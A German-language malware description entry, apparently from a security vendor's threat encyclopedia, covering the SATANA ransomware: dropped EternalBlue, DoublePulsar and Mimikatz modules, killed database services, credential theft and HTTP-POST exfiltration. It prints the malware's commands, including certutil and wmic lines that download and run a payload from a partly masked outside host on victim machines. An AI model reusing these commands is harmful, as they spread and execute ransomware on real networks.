Ransom.Win32.SATANA.A

Übertragungsdetails

Wird möglicherweise von den folgenden externen Sites heruntergeladen:

• http://{BLOCKED}.{BLOCKED}.45.207/car/c.exe

Installation

Schleust die folgenden Dateien ein und führt sie aus:

• %ProgramData%\cpt.exe -> main ransomware

Fügt die folgenden Prozesse hinzu:

• blue.exe --TargetIP {Victim's IP}
• star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp {Victim IP}
• certutil.exe -urlcache -split -f http://{BLOCKED}.{BLOCKED}.45.207/car/c.exe C:/c.exe
• wmic /node: {Victim IP} process call create cmd.exe /c certutil.exe -urlcache -split -f http://{BLOCKED}.{BLOCKED}.45.207/car/c.exe C:/c.exe&C:\c.exe

Fügt die folgenden Mutexe hinzu, damit nur jeweils eine ihrer Kopien ausgeführt wird:

• SSSS_Scan
• SATAN_CRYPT

Prozessbeendigung

Beendet die folgenden Dienste, wenn sie auf dem betroffenen System gefunden werden:

• MySQL
• MySQLa
• SQLWriter
• SQLSERVERAGENT
• MSSQLFDLauncher
• MSSQLSERVER
• UxSms

Beendet die folgenden Prozesse, wenn sie im Speicher des betroffenen Systems ausgeführt werden:

• calc.exe
• sqlservr.exe
• mysqld.exe
• nmesrvc.exe
• sqlagent.exe
• fdhost.exe
• fdlauncher.exe
• reportingservicesservice.exe
• omtsreco.exe
• tnslsnr.exe
• oracle.exe
• emagent.exe
• perl.exe
• sqlwriter.exe
• mysqld-nt.exe
• mysqld-nt.exe

Einschleusungsroutine

Schleust die folgenden Dateien ein:

• %All Users Profile%\blue.exe -> EternalBlue module
• %All Users Profile%\blue.fb -> EternalBlue config
• %All Users Profile%\blue.xml -> EternalBlue config
• %All Users Profile%\cnli-1.dll
• %All Users Profile%\coli-0.dll
• %All Users Profile%\crli-0.dll
• %All Users Profile%\dmgd-4.dll
• %All Users Profile%\exma-1.dll
• %All Users Profile%\libeay32.dll
• %All Users Profile%\libxml2.dll
• %All Users Profile%\posh-0.dll
• %All Users Profile%\ssleay32.dll
• %All Users Profile%\star.exe -> DoublePulsar module
• %All Users Profile%\star.fb -> DoublePulsar config
• %All Users Profile%\star.xml -> DoublePulsar config
• %All Users Profile%\tibe-2.dll
• %All Users Profile%\trch-1.dll
• %All Users Profile%\trfo-2.dll
• %All Users Profile%\tucl-1.dll
• %All Users Profile%\ucl.dll
• %All Users Profile%\xdvl-0.dll
• %All Users Profile%\zlib1.dll
• %All Users Profile%\down64.dll -> contains module for download via certutil
• %All Users Profile%\mmkt.exe -> Mimikatz module
• %All Users Profile%\uname
• %All Users Profile%\upass
• %Temp%\Ssession

(Hinweis: %Temp% ist der Windows Ordner für temporäre Dateien, normalerweise C:\Windows\Temp oder C:\WINNT\Temp.)

Schleust die folgenden Dateien ein, in denen sie ihre gesammelten Daten speichert:

• %Program Files%\Common Files\System\Scanlog

(Hinweis: %Program Files%ist der Standardordner 'Programme', normalerweise C:\Programme.)

Datendiebstahl

Folgende Daten werden gesammelt:

• Username
• Password
• IP Address
• Windows Version

Entwendete Daten

Sendet die gesammelten Daten über HTTP-POST an den folgenden URL:

• {BLOCKED}.{BLOCKED}.159.102